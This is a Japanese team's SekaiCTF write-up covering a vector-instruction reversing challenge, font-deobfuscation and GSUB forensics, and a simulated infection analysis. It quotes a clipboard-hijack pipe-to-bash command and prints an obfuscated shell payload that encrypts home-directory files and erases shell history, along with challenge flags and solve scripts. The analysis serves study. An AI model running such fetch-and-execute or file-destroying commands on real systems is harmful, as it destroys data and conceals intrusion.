  printf("Enter the command to unlock the Matrix...\n> ");
  __isoc99_scanf(&DAT_001651cd,command);
  sVar4 = strlen(command);
  if (((sVar4 != 0x40) || (iVar1 = strncmp(command,"SEKAI{",6), iVar1 != 0)) || (command[63] != '}')
     ) {
    puts("Incorrect command format. You cannot unlock the Matrix. :(");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puVar5 = init(8,command);
  dest = (vbx_ubyte_t *)vbx_sp_malloc_nodebug(0x40);
  dest_00 = (vbx_ubyte_t *)vbx_sp_malloc_nodebug(0x40);
  dest_01 = (vbx_ubyte_t *)vbx_sp_malloc_nodebug(0x40);
  dest_02 = (vbx_ubyte_t *)vbx_sp_malloc_nodebug(0x40);
  v_dst = (vbx_ubyte_t *)vbx_sp_malloc_nodebug(0x40);
  if (((dest == (vbx_ubyte_t *)0x0) || (dest_00 == (vbx_ubyte_t *)0x0)) ||
     ((dest_01 == (vbx_ubyte_t *)0x0 ||
      ((dest_02 == (vbx_ubyte_t *)0x0 || (v_dst == (vbx_ubyte_t *)0x0)))))) {
    puts("Unknown error while launching the Matrix.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  vbx_dma_to_vector((vbx_void_t *)dest,puVar5,0x40);
  vbx_sync();
  vbx_set_vl(0x40,1,1);
  vbxsim_SVBBBUUU(VXOR,dest,'\x13',dest);
  vbxsim_SVBBBUUU(VMOV,dest_00,'\x02',(vbx_ubyte_t *)0x0);
  vbxsim_SVBBBUUU(VSGT,dest_02,'a',dest);
  vbxsim_VVBBBUUU(VSUB,dest_00,dest_00,dest_02);
  vbxsim_VVBBBUUU(VMUL,dest_01,dest,dest_00);
  manipulate(v_dst,dest_01,8);
  puVar5 = (uint8_t *)malloc(0x40);
  vbx_dma_to_host(puVar5,(vbx_void_t *)v_dst,0x40);
  vbx_sync();
  puts("Command accepted. Generating your Single-use Key...");
  printf("Using RNG to make it completely random.");
  sleep(2);
  rng = 0xdeadbeef;
  for (i = 0; i < 0x10; i = i + 1) {
    do {
      do {
        uVar2 = gen(&rng);
        key[i] = (uint8_t)uVar2;
      } while (key[i] < 0x21);
    } while (0x7e < key[i]);
  }
  ks2(key,keys);
  puts("\nVerifying your identity...");
  iVar1 = enc(keys,puVar5);
  if (iVar1 == 0) {
    puts("Access denied. You cannot unlock the Matrix. :(");
  }
  else {
    puts("Access granted. Enjoy the Matrix Flag.");
  }
  vbx_sp_free_nodebug();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

見た感じvbxは行列計算に関係する関数でしょうか。

keysはRNGを使って計算しているように見えますが、シードが固定なので鍵は常に同じです。gdbで抜けば鍵がわかります。(ptraceによる単純なアンチデバッグがあるので、適当にNOPで潰しましょう)

enc関数は、入力を8byteごとに分けて暗号化してその結果をテーブルと比較するような処理をしていました。暗号化関数はこのようになっています。

// 常にn=0x2c
void encrypt(uint *input,uint *keys,int n)

{
  uint input0;
  long i;
  long i2;
  uint prev_input1;

  i = 0;
  do {
    prev_input1 = input[1];
    input0 = (prev_input1 << 1 | (uint)((int)prev_input1 < 0)) &
             (prev_input1 << 8 | prev_input1 >> 0x18) ^
             (prev_input1 << 2 | prev_input1 >> 0x1e) ^ *input ^ keys[i];
    *input = input0;
    i2 = i + 1;
    i = i + 2;
    input[1] = (input0 << 8 | input0 >> 0x18) & (input0 << 1 | (uint)((int)input0 < 0)) ^
               prev_input1 ^ keys[i2] ^ (input0 << 2 | input0 >> 0x1e);
  } while ((int)i < n);
  return;
}

ビットシフト+AND+XORで暗号化しています。z3に投げてみましたが論理式が長いせいか処理が終わりません。

このあたりからはkanonさんと協力して右往左往しながら解いてました。

見ているとkanonさんが一番最後のinput[0]を使えばXORで一つ前のinput[1]の値が復元できることに気が付いたので、復号処理を書いて復元しました。

from z3 import *
_secret = [ 0x1e, 0xcb, 0x87, 0xc1, 0xb4, 0x76, 0x70, 0xb9, 0x99, 0xad, 0xdf, 0x84, 0x1e, 0x62, 0x25, 0x66, 0x38, 0x50, 0x72, 0xe3, 0xf1, 0x5f, 0x6c, 0x00, 0x0c, 0xef, 0xaf, 0x94, 0xc6, 0x03, 0xc4, 0xb1, 0x7f, 0x96, 0x18, 0xb3, 0x7f, 0x94, 0x54, 0x0a, 0xc7, 0xf8, 0xc2, 0xf1, 0x19, 0xe5, 0xda, 0xbf, 0xd7, 0x8f, 0xce, 0xbb, 0x0e, 0x7d, 0xe8, 0xdd, 0xc2, 0xca, 0x29, 0xcb, 0xc1, 0x23, 0x03, 0x66 ]

secret = []
for i in range(len(_secret)//4):
    secret.append(int.from_bytes(bytes(_secret[i*4:i*4+4]), "little"))

keys = [0x2c705a3c, 0x7a536454, 0x65353951, 0x2a7d7243, 0xc31d0ad3, 0x16514fa7, 0xb62630c1, 0xdab7a710, 0xb76693c9, 0x290123bf, 0xe9858de8, 0xda356ba3, 0xb3fd259a, 0xb6f9e1b5, 0xcce50e4a, 0x3a9bd225, 0xd57d0c6e, 0xd469e66c, 0xc307682a, 0x8ef73c07, 0x1dee7288, 0x0b71ecd7, 0xe4ad1684, 0xb0cefb8f, 0x61cda701, 0x5850e07c, 0x3d747d38, 0x1a63b887, 0x78a08426, 0x2cff44e3, 0x0289fad3, 0xf11521b9, 0x9cec6b64, 0x8a9ef77f, 0xfd1385d2, 0xac03c874, 0xf3825dd1, 0xd7b321de, 0xcf630046, 0xeca514bd, 0xd349e0c1, 0xa7c3fc53, 0x64ef2116, 0x8364edd3]

flag = []
for j in range(0, len(secret), 2):
    b1, b2 = secret[j], secret[j+1]
    # print(f"[round {j}]")
    MASK = (1 << 32) - 1
    for i in range(0x2c-2, -2, -2):
        # print(f"[{hex(i)}] __block {b2:08x}{b1:08x}")
        # print(f"key2 = {keys[i+1]}")
        prev_b2 = (((b1 << 8) & MASK) | b1 >> 0x18) & (((b1 << 1) & MASK) | (1 & (b1 >> 31))) ^ keys[i+1] ^ (((b1 << 2) & MASK) | b1 >> 0x1e) ^ b2
        prev_b1 = (((prev_b2 << 1) & MASK) | ((prev_b2 >> 31) & 1)) & (((prev_b2 << 8) & MASK) | prev_b2 >> 0x18) ^ (((prev_b2 << 2) & MASK) | prev_b2 >> 0x1e) ^ keys[i] ^ b1
        b1, b2 = prev_b1, prev_b2

    flag = flag + [b1, b2]
    print(f"{b2:08x}{b1:08x}")

from pwn import p32

D = [[] for i in range(8)]
for i in range(0, len(flag), 2):
    print(f"{i} {flag[i+1]:08x}{flag[i]:08x}")
    for j, c in enumerate(p32(flag[i]) + p32(flag[i+1])):
        print(j, hex(c))
        D[j].append(c)

print(D)

あとはvbxsim_VVXXXXXXのような関数群の処理を頑張って特定し、kanonさんに逆演算をしてもらってフラグを得ました。めちゃくちゃ時間かかった。

SEKAI{y4y_u_p4ss3d_ScR4TcHp4D_t35t_w1th_V3ct0rB10x_4nd_51M0N_xD}

ところで公式Writeupによるとソースコードデバッグ情報の中にあったらしいです。そんな……

Forensics

Broken Converter [94 solves]

.xpsファイルが渡されます。XMLベースのドキュメントファイルらしいですが、docxなどと同様zipでファイルを取り出すことができます。

中には02F30FAD-6532-20AE-4344-5621D614A033.odttfという見慣れないファイルがあります。拡張子を調べてみると、難読化された.ttfファイルであることがわかります。以下の記事に復号方法も書かれていたので、その通りに復元します。

www.kanazawa-net.ne.jp

from pwn import xor

odttf = open("02F30FAD-6532-20AE-4344-5621D614A033.odttf", "rb").read()

guid = bytes.fromhex("02F30FAD653220AE43445621D614A033")
print(len(guid))
ttf = xor(odttf[:32], guid[::-1]) + odttf[32:]

open("02F30FAD-6532-20AE-4344-5621D614A033.ttf", "wb").write(ttf)

復元したttfファイルをFont Forgeで覗いてみると、フラグが得られました。

SEKAI{sCR4MBLeD_a5ci1-FONT+GlYPHZ,W3|!.d0n&}

flag Mono [47 solves]

Broken Converterの続きです。

When writing the assignment, Miku used a font called flag Mono. Despite it looking just like a regular monospaced font, it claims itself to be “stylistic” in various ways.

問題文から察するに先程のフォントにフラグが隠れているのでしょうか?フォントのForensicsで思い出すのはTSG CTF 2020 - ffiです。

ox0xo.github.io

この問題はグリフ置換という機能を使ってフラグチェッカを実装した問題でした。

このフォントにもグリフ置換が設定されていないでしょうか?参考にしたWriteupによるとATTというのを表示すればいいらしいので表示してみます。すると、怪しい置換規則が出てきました。

ampersand quotesingleと書かれているので、とりあえずフォントプレビューで&'を入れてみます。すると、SEという文字が表示されました。フラグっぽいですね。

空気を読んで書かれている文字を入力していくと、フラグが得られました。

SEKAI{OpenTypeMagicGSUBIsTuringComplete}

Blind Infection 1 [23 solves]

マルウェアの被害を受けてしまった!バックアップは保存してあったけど、そのリンクも暗号化されてしまったので助けてくれという問題です。

見てみると/home/sekaictf/{Pictures,Documents}内に複数のファイルがあり、どちらも暗号化されていました。これを復元しろということでしょう。

$ ls *.txt
aes.txt           fortnite.txt     katana.txt    python.txt        sql.txt               warandpeace12.txt  warandpeace7.txt
assignment.txt    ginger.txt       key.txt       randkey.txt       test.txt              warandpeace13.txt  warandpeace8.txt
billionaires.txt  girlfriend.txt   leetcode.txt  roblox.txt        tools.txt             warandpeace14.txt  warandpeace9.txt
brainteasers.txt  graphql.txt      loi.txt       robomagellan.txt  volatility.dec.txt    warandpeace15.txt
countries.txt     ippsec.txt       maths.txt     rsa.txt           volatility.txt        warandpeace2.txt
ctfwins.txt       joke.txt         oscp.txt      science.txt       warandpeace1.dec.txt  warandpeace3.txt
elements.txt      jokes.txt        overflow.txt  sekai.txt         warandpeace1.txt      warandpeace4.txt
excuses.txt       jsinterview.txt  privesc.txt   shakespeare.txt   warandpeace10.txt     warandpeace5.txt
flag.txt          juggle.txt       program.txt   song.txt          warandpeace11.txt     warandpeace6.txt

kanonさんが/home/sekaictf/snap/firefox/common/.mozilla/firefox/p3zapakd.default/firefoxの情報があることを共有してくれたので、その中のplace.sqliteを見て履歴を調べました。

support.mozilla.org

次のコマンドでURLを全て取り出し、丁寧に目grepしました。

echo '.dump' | sqlite3 ./snap/firefox/common/.mozilla/firefox/p3zapakd.default/places.sqlite | grep -Po "'https?://.*?'"'

すると、https://paste.c-net.org/...というURLに何回もアクセスしているのが目につきました。アクセスしてみると、Documentsフォルダ内のファイルのバックアップであることに気付きます。この中にフラグもあるのでしょう。以下のコマンドを実行するとフラグを得られました。

echo '.dump' | sqlite3 ./snap/firefox/common/.mozilla/firefox/p3zapakd.default/places.sqlite  | grep -Po "'https?://.*?'" | grep paste | sd "'" "" | xargs -I {} curl {} | grep SEKAI

SEKAI{R3m3b3r_k1Dz_@lway5_84cKUp}

終了後に解いた問題

Blind Infection 2 [15 solves]

先程の続きです。実はhttps://paste.c-net.org/に気付く前にこちらに気付いていました。

place.sqliteを適当に目grepしていると、hxxps[://]sekaictf-tunes.netlify.app/を見つけました。アクセスしてみると、このようなページになっています。

Download exclusive Sekai Music!!!

wget sekairhythms.com/epicmusic.zip

はえ~このzipが感染源なのかな」と思いコピペしてターミナルに貼り付けると、このようになりました。

$ curl https://storage.googleapis.com/sekaictf/Forensics/muhahaha.sh | bash

Enter押してたらマルウェア実行されてました。(あぶない)

JavaScriptクリップボードのイベントをフックしてコピーする内容を自由に変更できるので、コマンドのコピペは危険だというやつですね。

muhaha.shをダウンロードして内容を見てみます。

z="
";Uz='e da';Cz='----';QBz=' key';Wz='ou!!';FBz='open';NBz='s -r';nz='er/b';Jz=' gon';aBz='h_hi';tz='for ';Bz=' '\''--';PBz='le $';Rz='them';Pz=' '\''Br';Sz=' bac';Iz=' are';WBz='rm x';YBz='> ~/';Nz='ly!!';Qz='ing ';DBz='/*';ez='erco';vz=' in ';MBz='xor-';Oz='!'\''';UBz='xt';OBz=' $fi';Tz='k, W';pz='ies/';iz='ange';KBz='y.tx';Mz='nent';Yz=' -q ';CBz='ures';Lz='erma';cz='gith';cBz='y';Az='echo';JBz='> ke';lz='les/';wz='~/Do';BBz='Pict';Hz='iles';hz='m/sc';bBz='stor';uz='file';RBz='.txt';XBz=' '\'''\'' ';gz='t.co';yz='nts/';xz='cume';Zz='http';VBz='done';EBz='do';Gz='ur f';HBz='rand';kz='r-fi';ZBz='.bas';sz='or-f';Ez=' '\''Al';dz='ubus';bz='raw.';az='s://';oz='inar';LBz='t';Kz='e, p';ABz='* ~/';Xz='wget';Fz='l yo';SBz='rm k';GBz='ssl ';IBz=' 16 ';mz='mast';TBz='ey.t';Vz='re y';fz='nten';Dz='---'\''';jz='o/xo';qz='x86_';rz='64/x';
eval "$Az$Bz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Dz$z$Az$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$Nz$Oz$z$Az$Pz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Oz$z$Az$Bz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Dz$z$Xz$Yz$Zz$az$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$qz$rz$sz$Hz$z$tz$uz$vz$wz$xz$yz$ABz$BBz$CBz$DBz$z$EBz$z$FBz$GBz$HBz$IBz$JBz$KBz$LBz$z$MBz$uz$NBz$OBz$PBz$uz$QBz$RBz$z$SBz$TBz$UBz$z$VBz$z$WBz$sz$Hz$z$Az$XBz$YBz$ZBz$aBz$bBz$cBz"

難読化されているようですが、これはevalechoに変えれば十分です。解読後はこのようになります。

echo '---------------------------------------------------------'
echo 'All your files are gone, permanently!!!'
echo 'Bring them back, We dare you!!!'
echo '---------------------------------------------------------'
wget -q https://raw.githubusercontent.com/scangeo/xor-files/master/binaries/x86_64/xor-files
for file in ~/Documents/* ~/Pictures/*
do
openssl rand 16 > key.txt
xor-files -r $file $file key.txt
rm key.txt
done
rm xor-files
echo '' > ~/.bash_history

これが本体ですね。16bytesの鍵でファイルをXORしているようです。

txtファイルはともかく、PNGはヘッダが16bytes以上固定なので復元できます。復元したflag.pngはこのような画像でした。

復元したflag.png

「な~~~~~にがflag.pngだ」となり、他にフラグが無いか探しても見当たらずここでタイムアップでした。

競技終了後、Discordを見るとこのような発言がありました。

参加者: I recovered all the PNGs and saw no flag?
運営: `strings` flag.png

「......」

$ strings flag.dec.png | grep SEKAI
SEKAI{D4R3_4CC3PT38_4N8_4U5T38}

「(声にならない悲鳴)」

感想

kanonさんがSekaiCTFに出るチームを探していたので誘ってみて出ました。たぶん日本勢一位なのでうれしい。

チームを組むと見落としていることに気付きやすいのでいいですね。何よりわいわいしながら解く楽しさはソロでは味わえない。

一人で腕試しするのも好きなのでソロをやめるというわけじゃないですが、難しいCTFはこれからもたまにチーム組んで出ていこうかなと思います。